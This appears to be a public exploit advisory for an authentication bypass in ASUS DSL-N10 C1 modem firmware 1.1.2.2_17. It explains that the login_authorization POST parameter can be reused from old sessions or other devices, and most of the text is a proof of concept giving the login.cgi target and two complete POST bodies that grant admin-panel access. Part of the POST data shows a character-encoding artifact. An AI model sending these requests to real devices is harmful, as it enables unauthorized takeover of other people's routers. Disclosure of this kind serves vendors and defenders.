ASUS-DSL N10 1.1.2.2_17 – Authentication Bypass
# Title: ASUS-DSL N10 1.1.2.2_17 - Authentication Bypass # Author: AmnBAN team # Date: 2018-08-06 # Vendor Homepage: https://www.asus.com/Networking/DSLN10_C1_with_5dBi_antenna/ # Sofrware version: 1.1.2.2_17 # CVE: N/A # 1. Description: # In ASUS-DSL N10 C1 modem Firmware Version 1.1.2.2_17 there is login_authorization # parameter in post data, that use for authorization access to admin panel, # the data of this parameter is not fully random and you can use old data # or data of another device to access admin panel. # 2. Proof of Concept: # Browse http://<Your Modem IP>/login.cgi # Send this post data: group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=YWRtaW46MQ%3D%2D # Or this post data: group_id=&action_mode=&action_script=&action_wait=5¤t_page=Main_Login.asp&next_page=%2Fcgi-bin%2FAdvanced_LAN_Content.asp&login_authorization=FWRtaW46MQ%3D5D |